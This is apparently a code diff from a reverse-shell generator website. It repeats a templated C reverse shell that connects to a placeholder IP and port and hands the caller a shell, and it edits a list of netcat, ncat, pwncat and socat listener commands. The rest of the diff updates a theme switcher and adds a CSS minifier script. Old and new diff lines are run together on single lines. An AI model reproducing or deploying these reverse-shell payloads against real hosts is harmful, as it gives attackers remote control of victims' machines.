"command": "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr(\"{ip}\");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {\"{shell}\", NULL};\n execve(\"{shell}\", argv, NULL);\n\n return 0; \n}", "command": "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr(\"{ip}\");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {\"{shell}\", NULL};\n execve(\"{shell}\", argv, NULL);\n\n return 0; \n}",
@ -405,8 +410,8 @@ const rsgData = {
['ncat', 'ncat -lvnp {port}'], ['ncat', 'ncat -lvnp {port}'],
['ncat (TLS)', 'ncat --ssl -lvnp {port}'], ['ncat (TLS)', 'ncat --ssl -lvnp {port}'],
['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'], ['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'],
['rc', 'rc -lp {port}'], ['rc', 'rc -lp {port}'],
['rc + Command History', 'rc -lpH {port}'], ['rc + Command History', 'rc -lHp {port}'],
['pwncat', 'python3 -m pwncat -lp {port}'], ['pwncat', 'python3 -m pwncat -lp {port}'],
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'], ['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'], ['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],

View File

@ -1,9 +1,9 @@
var lightSwitch = document.getElementById("lightSwitch"); var themeSelector = $("#theme-selector");
window.addEventListener("load", function () { window.addEventListener("load", function () {
if (lightSwitch) { if (themeSelector) {
initTheme(); initTheme();
lightSwitch.addEventListener("change", function () { themeSelector.on('change', function() {
resetTheme(); resetTheme(this.value);
}); });
} }
}); });
@ -20,13 +20,15 @@ window.addEventListener("load", function () {
* @return {void} * @return {void}
*/ */
function initTheme() { function initTheme() {
var lightThemeSelected = var currentTheme = localStorage.getItem("currentTheme");
localStorage.getItem("lightSwitch") !== null &&
localStorage.getItem("lightSwitch") === "light"; if (currentTheme == null) {
lightSwitch.checked = lightThemeSelected; document.body.removeAttribute("data-theme")
lightThemeSelected } else {
? document.body.setAttribute("data-theme", "light") console.log("there")
: document.body.removeAttribute("data-theme"); document.body.setAttribute("data-theme", currentTheme)
$("#theme-selector").val(currentTheme).change();
}
} }
/** /**
@ -35,12 +37,13 @@ function initTheme() {
* applied. * applied.
* @return {void} * @return {void}
*/ */
function resetTheme() { function resetTheme(currentTheme) {
if (lightSwitch.checked) { console.log(currentTheme)
document.body.setAttribute("data-theme", "light"); if (currentTheme !== "dark") {
localStorage.setItem("lightSwitch", "light"); document.body.setAttribute("data-theme", currentTheme);
localStorage.setItem("currentTheme", currentTheme);
} else { } else {
document.body.removeAttribute("data-theme"); document.body.removeAttribute("data-theme");
localStorage.removeItem("lightSwitch"); localStorage.removeItem("currentTheme");
} }
} }

View File

@ -1 +0,0 @@
var lightSwitch=document.getElementById("lightSwitch");function initTheme(){var t=null!==localStorage.getItem("lightSwitch")&&"light"===localStorage.getItem("lightSwitch");lightSwitch.checked=t,t?document.body.setAttribute("data-theme","light"):document.body.removeAttribute("data-theme")}function resetTheme(){lightSwitch.checked?(document.body.setAttribute("data-theme","light"),localStorage.setItem("lightSwitch","light")):(document.body.removeAttribute("data-theme"),localStorage.removeItem("lightSwitch"))}window.addEventListener("load",function(){lightSwitch&&(initTheme(),lightSwitch.addEventListener("change",function(){resetTheme()}))});

25
min-css.py Normal file
View File

@ -0,0 +1,25 @@
'''
Use this when you modified any css in the css/ folder.
'''
import os
try:
from csscompressor import compress
except ModuleNotFoundError:
os.system("python -m pip install csscompressor")
from csscompressor import compress
def main():
not_minified = [f"./css/{f}" for f in os.listdir("./css") if not f.endswith(".min.css")]
for file in not_minified:
print(file)
with open(file, "r") as input_file:
css_minified = compress(input_file.read())
with open(f"{file.replace('.css', '')}.min.css", "w") as output_file:
output_file.write(css_minified)
if __name__ == "__main__":
main()